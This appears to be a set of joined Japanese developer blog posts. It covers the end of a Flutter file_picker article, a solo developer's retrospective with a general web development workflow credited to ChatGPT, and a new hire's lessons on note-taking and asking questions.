Flutterの学習を始めたばかりの初心者ですが、file_pickerを使うことでアプリの機能を拡張することができました。この記事が少しでも役立てば幸いです。何か違う点や質問があれば、コメントで教えてください。よろしくお願いします！！
個人開発で100個作る #1.5

こんにちは。個人開発で100個作ることを目標として、学習を進めております。今回のSNS開発の反省点と次回やりたいことなどをまとめました。

### 反省点

- 要件定義をしっかり行うべきであった。
    - 製品の概要やペルソナなどを最初に設定する必要がある。
    
    [要件定義とはなんぞや？ - Qiita](https://qiita.com/Soysoy11110000/items/99ee1616bc0cfb2707ef)
    
- OpenAPIでAPI設計管理をするべきだった。このAPI URLが何なのか分からなくなる時がある。
    
    [【備忘】（今更ながら）OpenAPIとは - Qiita](https://qiita.com/MaSi1031/items/ada0854f3d1d93ee66f8)
    
- 設計の段階でテストケースを考え、あらゆるケースに対応したコードを書いてリスク対策をするべきであった。設計段階でQAを行い、このテストが何のためにあるのか理由を考えることが重要である。
- Figmaでディレクトリをしっかり管理し、デザインデータが消失しないようにする。
    - 画面遷移やコンポーネント分割をするべきであった。コンポーネント分割を行うことで、後のReact開発がしやすくなる。atomic design思想に基づくディレクトリ構成やコンポーネントの再利用がしやすくなる。
    - StoryBookでコンポーネントを再利用しやすく管理しておくべきであった。
- MySQL WorkBenchで作成したスキーマ設計はしっかりと保存する。今回は保存のし忘れでデータが消失した。
- Notionでタスクを分解してから、issue分解を行うべきだった。
- 作業を行う際は、作業ブランチを作成してそこで必ず作業を行うこと。
- 画像はS3に保存するようにする。Cloudflare R2は難しい。
- 製品が完成したら、発表用のスライドを作成するべきである。
- 基本設計と詳細設計を行うべきである。
- Railsだけでなく、Golangなどを使用してみるのも一つの方法である。
- テストコードをしっかりと、フロントとバックエンドで書くことをする。
- しっかりドキュメントを作ることを訓練して覚えたい。

### 一般的なWeb開発のフローは以下の感じらしいです。（ChatGPT先生より）

### 要件定義

- **ステークホルダーとの協議**：製品の目的、ターゲットユーザー（ペルソナ）、主要機能などを明確にする。
- **ユーザーストーリー作成**：ユーザーがシステムをどのように利用するかを具体的に記述。
- **受け入れ基準の設定**：各要件が満たされるための条件を明確にする。

### 2. 設計

- **アーキテクチャ設計**：システム全体の構造を設計（マイクロサービス、サーバーレス、モノリシックなど）。
- **データベース設計**：データモデルを設計し、ER図などを作成。
- **API設計**：OpenAPIを使ってAPIの設計とドキュメント化。
- **UI/UXデザイン**：FigmaやAdobe XDでプロトタイプを作成し、ユーザーテストを実施。

### 3. 開発

- **環境設定**：開発環境、テスト環境、本番環境を設定。DockerやKubernetesを利用して環境を統一。
- **コード管理**：Gitを使用してバージョン管理。ブランチ戦略（GitFlow、GitHub Flowなど）を策定。
- **テスト駆動開発（TDD）**：テストケースを先に書き、それに基づいて実装。
- **ペアプログラミング**：コードレビューを取り入れ、品質を向上。

### 4. 継続的インテグレーション（CI）/継続的デリバリー（CD）

- **CIツールの設定**：Jenkins、CircleCI、GitHub Actionsなどを使用して、コードがプッシュされるたびにビルドとテストを自動実行。
- **CDパイプラインの構築**：アプリケーションを自動デプロイするパイプラインを構築。KubernetesやTerraformでインフラのコード化（IaC）を行う。

### 5. テスト

- **ユニットテスト**：個々のコンポーネントが正しく動作するか確認。
    - バックエンドでは、RSpec。フロントではJestなどでテストしたいですね。
    - フロント、バックでしっかりとテストをする。
- **統合テスト**：複数のコンポーネントが連携して動作するか確認。
- **エンドツーエンド（E2E）テスト**：ユーザーが行う一連の操作が正しく動作するか確認。
- **負荷テスト**：システムのパフォーマンスを検証。

### 6. デプロイ

- **ステージング環境でのテスト**：本番環境と同等の環境で最終テストを実施。
- **本番環境へのデプロイ**：自動デプロイツールを使用して、本番環境に安全にリリース。

### 7. モニタリングとフィードバック

- **モニタリング**：Prometheus、Grafana、New Relicなどのツールを使用して、システムのパフォーマンスやエラーログを監視。
- **ユーザーフィードバック収集**：ユーザーからのフィードバックを収集し、改善に役立てる。

### 8. 継続的な改善

- **振り返り（レトロスペクティブ）**：定期的にチームで振り返りを行い、プロセスの改善点を見つける。
- **バックログの管理**：新しい要件やバグをバックログに追加し、優先順位をつけて処理。
新卒で入社し、配属一ヵ月で感じたことと反省点

## はじめに
&emsp;新卒で入社し、配属から1か月程度たったのでこれまでを振り返って感じたことや反省点について書きたいと思います。これから同じような経験をする方の参考になれば幸いです。

## 1.メモを取る
&emsp;業務の手順やアドバイスなどたくさんの説明を聞くことになります。説明は口頭で行われるため、メモを取る機会が非常に多かったです。
<br></br>
__失敗したこと__
- __見返してわからないメモ__
&emsp;説明の重要な単語のみをまとめたメモを書いてしまいました。その結果、見返してもわからないメモを書き、何度も質問をしてしまいました。
<br></br>
- __説明を聞きそびれる__
&emsp;話すペースが速い人の説明を聞き逃していたり書くのが追い付かなくなったりしていました。メモしている内容と相手が話している内容がずれてしまうようなこともありました。
<br></br>

__学んだこと__
- 単語だけで並べずにそれをどうするか、何に使うかを書き簡単な文章でメモ書きを行う。
- 説明を聞きそびれていたら聞きそびれた部分を覚えておき再度聞く。
- 説明の最後にメモの内容をみて簡単な説明を相手に行う。足りない部分がないかの確認をとる。


## 2.質問すること
&emsp;配属されたてのときは何すればいいかわからないことだらけです。システムがどんな機能なのか、どんな処理で動いているのか私もとても悩まされました。
<br></br>
__失敗したこと__
- __自分で考えることに時間をかけすぎた__
&emsp;自分で考えればできそうと思って取り組んでみると結構時間がかかってしまうことが多かったです。
<br></br>

__学んだこと__
- 自分の考える時間に制限を設ける。制限時間になったら質問を行うようにする。
<br></br>

## まとめ
&emsp;この一ヶ月で、メモを取ることと積極的に質問すること重要性を学びました。皆さんも、これらのポイントを取り入れて、よりスムーズな仕事環境を作りましょう。